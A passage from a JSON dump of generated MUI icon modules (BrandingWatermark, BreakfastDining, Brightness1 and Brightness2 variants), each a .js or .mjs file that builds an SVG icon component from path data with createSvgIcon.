    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H3V5h18zm-10-7h9v6h-9z\"\n}), 'BrandingWatermarkOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrandingWatermarkOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H3V5h18zm-10-7h9v6h-9z\"\n}), 'BrandingWatermarkOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrandingWatermarkRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-1 16h-7c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h7c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1\"\n}), 'BrandingWatermarkRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrandingWatermarkRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-1 16h-7c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h7c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1\"\n}), 'BrandingWatermarkRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrandingWatermarkSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 3H1v18h22zm-2 16h-9v-6h9z\"\n}), 'BrandingWatermarkSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrandingWatermarkSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 3H1v18h22zm-2 16h-9v-6h9z\"\n}), 'BrandingWatermarkSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrandingWatermarkTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 19h18V5H3zm8-7h9v6h-9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H3V5h18zm-10-7h9v6h-9z\"\n}, \"1\")], 'BrandingWatermarkTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrandingWatermarkTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 19h18V5H3zm8-7h9v6h-9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H3V5h18zm-10-7h9v6h-9z\"\n}, \"1\")], 'BrandingWatermarkTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BreakfastDining.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M18 3H6C3.79 3 2 4.79 2 7c0 1.48.81 2.75 2 3.45V19c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-8.55c1.19-.69 2-1.97 2-3.45 0-2.21-1.79-4-4-4m-4 12h-4v-4h4z\"\n}), 'BreakfastDining');"
  },
  {
    "path": "packages/mui-icons-material/lib/BreakfastDining.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M18 3H6C3.79 3 2 4.79 2 7c0 1.48.81 2.75 2 3.45V19c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-8.55c1.19-.69 2-1.97 2-3.45 0-2.21-1.79-4-4-4m-4 12h-4v-4h4z\"\n}), 'BreakfastDining');"
  },
  {
    "path": "packages/mui-icons-material/lib/BreakfastDiningOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 3H6C3.79 3 2 4.79 2 7c0 1.48.81 2.75 2 3.45V19c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-8.55c1.19-.69 2-1.97 2-3.45 0-2.21-1.79-4-4-4m1 5.72-1 .58V19H6V9.31l-.99-.58C4.38 8.35 4 7.71 4 7c0-1.1.9-2 2-2h12c1.1 0 2 .9 2 2 0 .71-.38 1.36-1 1.72\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.71 9.29C12.51 9.1 12.26 9 12 9s-.51.1-.71.29l-3 3c-.39.39-.39 1.02 0 1.41l3 3c.2.2.45.3.71.3s.51-.1.71-.29l3-3c.39-.39.39-1.02 0-1.41zM12 14.58 10.41 13 12 11.41 13.59 13z\"\n}, \"1\")], 'BreakfastDiningOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BreakfastDiningOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 3H6C3.79 3 2 4.79 2 7c0 1.48.81 2.75 2 3.45V19c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-8.55c1.19-.69 2-1.97 2-3.45 0-2.21-1.79-4-4-4m1 5.72-1 .58V19H6V9.31l-.99-.58C4.38 8.35 4 7.71 4 7c0-1.1.9-2 2-2h12c1.1 0 2 .9 2 2 0 .71-.38 1.36-1 1.72\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.71 9.29C12.51 9.1 12.26 9 12 9s-.51.1-.71.29l-3 3c-.39.39-.39 1.02 0 1.41l3 3c.2.2.45.3.71.3s.51-.1.71-.29l3-3c.39-.39.39-1.02 0-1.41zM12 14.58 10.41 13 12 11.41 13.59 13z\"\n}, \"1\")], 'BreakfastDiningOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BreakfastDiningRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 3H6C3.79 3 2 4.79 2 7c0 1.48.81 2.75 2 3.45V19c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-8.55c1.19-.69 2-1.97 2-3.45 0-2.21-1.79-4-4-4m-2.29 10.7-3 3c-.39.39-1.02.39-1.42 0l-3-3a.996.996 0 0 1 0-1.41l3-3c.39-.39 1.02-.39 1.41 0l3 3c.4.39.4 1.02.01 1.41\"\n}), 'BreakfastDiningRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BreakfastDiningRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 3H6C3.79 3 2 4.79 2 7c0 1.48.81 2.75 2 3.45V19c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-8.55c1.19-.69 2-1.97 2-3.45 0-2.21-1.79-4-4-4m-2.29 10.7-3 3c-.39.39-1.02.39-1.42 0l-3-3a.996.996 0 0 1 0-1.41l3-3c.39-.39 1.02-.39 1.41 0l3 3c.4.39.4 1.02.01 1.41\"\n}), 'BreakfastDiningRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BreakfastDiningSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.85 3H6.14C4.15 3 2.36 4.39 2.05 6.36c-.27 1.75.59 3.29 1.95 4.09V21h16V10.45c1.36-.79 2.23-2.36 1.95-4.11C21.63 4.38 19.83 3 17.85 3m-1.44 10L12 17.42 7.59 13 12 8.59z\"\n}), 'BreakfastDiningSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BreakfastDiningSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.85 3H6.14C4.15 3 2.36 4.39 2.05 6.36c-.27 1.75.59 3.29 1.95 4.09V21h16V10.45c1.36-.79 2.23-2.36 1.95-4.11C21.63 4.38 19.83 3 17.85 3m-1.44 10L12 17.42 7.59 13 12 8.59z\"\n}), 'BreakfastDiningSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BreakfastDiningTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 5H6c-1.1 0-2 .9-2 2 0 .71.38 1.35 1.01 1.73l.99.58V19h12V9.3l1-.58c.63-.36 1-1.01 1-1.72 0-1.1-.9-2-2-2m-2.29 8.7-3 3c-.2.2-.45.3-.71.3s-.51-.1-.71-.29l-3-3a.996.996 0 0 1 0-1.41l3-3c.2-.2.45-.3.71-.3s.51.1.71.29l3 3c.39.39.39 1.02 0 1.41\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 3H6C3.79 3 2 4.79 2 7c0 1.48.81 2.75 2 3.45V19c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-8.55c1.19-.69 2-1.97 2-3.45 0-2.21-1.79-4-4-4m1 5.72-1 .58V19H6V9.31l-.99-.58C4.38 8.35 4 7.71 4 7c0-1.1.9-2 2-2h12c1.1 0 2 .9 2 2 0 .71-.38 1.36-1 1.72\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.71 9.29C12.51 9.1 12.26 9 12 9s-.51.1-.71.29l-3 3c-.39.39-.39 1.02 0 1.41l3 3c.2.2.45.3.71.3s.51-.1.71-.29l3-3c.39-.39.39-1.02 0-1.41zM12 14.58 10.41 13 12 11.41 13.59 13z\"\n}, \"2\")], 'BreakfastDiningTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BreakfastDiningTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 5H6c-1.1 0-2 .9-2 2 0 .71.38 1.35 1.01 1.73l.99.58V19h12V9.3l1-.58c.63-.36 1-1.01 1-1.72 0-1.1-.9-2-2-2m-2.29 8.7-3 3c-.2.2-.45.3-.71.3s-.51-.1-.71-.29l-3-3a.996.996 0 0 1 0-1.41l3-3c.2-.2.45-.3.71-.3s.51.1.71.29l3 3c.39.39.39 1.02 0 1.41\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 3H6C3.79 3 2 4.79 2 7c0 1.48.81 2.75 2 3.45V19c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-8.55c1.19-.69 2-1.97 2-3.45 0-2.21-1.79-4-4-4m1 5.72-1 .58V19H6V9.31l-.99-.58C4.38 8.35 4 7.71 4 7c0-1.1.9-2 2-2h12c1.1 0 2 .9 2 2 0 .71-.38 1.36-1 1.72\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.71 9.29C12.51 9.1 12.26 9 12 9s-.51.1-.71.29l-3 3c-.39.39-.39 1.02 0 1.41l3 3c.2.2.45.3.71.3s.51-.1.71-.29l3-3c.39-.39.39-1.02 0-1.41zM12 14.58 10.41 13 12 11.41 13.59 13z\"\n}, \"2\")], 'BreakfastDiningTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness1.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"10\"\n}), 'Brightness1');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness1.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"10\"\n}), 'Brightness1');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness1Outlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c4.41 0 8 3.59 8 8s-3.59 8-8 8-8-3.59-8-8 3.59-8 8-8m0-2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2\"\n}), 'Brightness1Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness1Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c4.41 0 8 3.59 8 8s-3.59 8-8 8-8-3.59-8-8 3.59-8 8-8m0-2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2\"\n}), 'Brightness1Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness1Rounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"10\"\n}), 'Brightness1Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness1Rounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"10\"\n}), 'Brightness1Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness1Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"10\"\n}), 'Brightness1Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness1Sharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"10\"\n}), 'Brightness1Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness1TwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 20c4.41 0 8-3.59 8-8s-3.59-8-8-8-8 3.59-8 8 3.59 8 8 8\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 22c5.52 0 10-4.48 10-10S17.52 2 12 2 2 6.48 2 12s4.48 10 10 10m0-18c4.41 0 8 3.59 8 8s-3.59 8-8 8-8-3.59-8-8 3.59-8 8-8\"\n}, \"1\")], 'Brightness1TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness1TwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 20c4.41 0 8-3.59 8-8s-3.59-8-8-8-8 3.59-8 8 3.59 8 8 8\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 22c5.52 0 10-4.48 10-10S17.52 2 12 2 2 6.48 2 12s4.48 10 10 10m0-18c4.41 0 8 3.59 8 8s-3.59 8-8 8-8-3.59-8-8 3.59-8 8-8\"\n}, \"1\")], 'Brightness1TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness2.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 2c-1.82 0-3.53.5-5 1.35C7.99 5.08 10 8.3 10 12s-2.01 6.92-5 8.65C6.47 21.5 8.18 22 10 22c5.52 0 10-4.48 10-10S15.52 2 10 2\"\n}), 'Brightness2');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness2.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 2c-1.82 0-3.53.5-5 1.35C7.99 5.08 10 8.3 10 12s-2.01 6.92-5 8.65C6.47 21.5 8.18 22 10 22c5.52 0 10-4.48 10-10S15.52 2 10 2\"\n}), 'Brightness2');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness2Outlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 4c4.41 0 8 3.59 8 8s-3.59 8-8 8c-.34 0-.68-.02-1.01-.07C10.9 17.77 12 14.95 12 12s-1.1-5.77-3.01-7.93C9.32 4.02 9.66 4 10 4m0-2c-1.82 0-3.53.5-5 1.35C7.99 5.08 10 8.3 10 12s-2.01 6.92-5 8.65C6.47 21.5 8.18 22 10 22c5.52 0 10-4.48 10-10S15.52 2 10 2\"\n}), 'Brightness2Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness2Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 4c4.41 0 8 3.59 8 8s-3.59 8-8 8c-.34 0-.68-.02-1.01-.07C10.9 17.77 12 14.95 12 12s-1.1-5.77-3.01-7.93C9.32 4.02 9.66 4 10 4m0-2c-1.82 0-3.53.5-5 1.35C7.99 5.08 10 8.3 10 12s-2.01 6.92-5 8.65C6.47 21.5 8.18 22 10 22c5.52 0 10-4.48 10-10S15.52 2 10 2\"\n}), 'Brightness2Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness2Rounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.43 2.3c-2.38-.59-4.68-.27-6.63.64-.35.16-.41.64-.1.86C8.3 5.6 10 8.6 10 12s-1.7 6.4-4.3 8.2c-.32.22-.26.7.09.86 1.28.6 2.71.94 4.21.94 6.05 0 10.85-5.38 9.87-11.6-.61-3.92-3.59-7.16-7.44-8.1\"\n}), 'Brightness2Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness2Rounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.43 2.3c-2.38-.59-4.68-.27-6.63.64-.35.16-.41.64-.1.86C8.3 5.6 10 8.6 10 12s-1.7 6.4-4.3 8.2c-.32.22-.26.7.09.86 1.28.6 2.71.94 4.21.94 6.05 0 10.85-5.38 9.87-11.6-.61-3.92-3.59-7.16-7.44-8.1\"\n}), 'Brightness2Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness2Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 2c-1.82 0-3.53.5-5 1.35C7.99 5.08 10 8.3 10 12s-2.01 6.92-5 8.65C6.47 21.5 8.18 22 10 22c5.52 0 10-4.48 10-10S15.52 2 10 2\"\n}), 'Brightness2Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness2Sharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 2c-1.82 0-3.53.5-5 1.35C7.99 5.08 10 8.3 10 12s-2.01 6.92-5 8.65C6.47 21.5 8.18 22 10 22c5.52 0 10-4.48 10-10S15.52 2 10 2\"\n}), 'Brightness2Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness2TwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 12c0-4.41-3.59-8-8-8-.34 0-.68.02-1.01.07C10.9 6.23 12 9.05 12 12s-1.1 5.77-3.01 7.93c.33.05.67.07 1.01.07 4.41 0 8-3.59 8-8\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 20.65C6.47 21.5 8.18 22 10 22c5.52 0 10-4.48 10-10S15.52 2 10 2c-1.82 0-3.53.5-5 1.35C7.99 5.08 10 8.3 10 12s-2.01 6.92-5 8.65M12 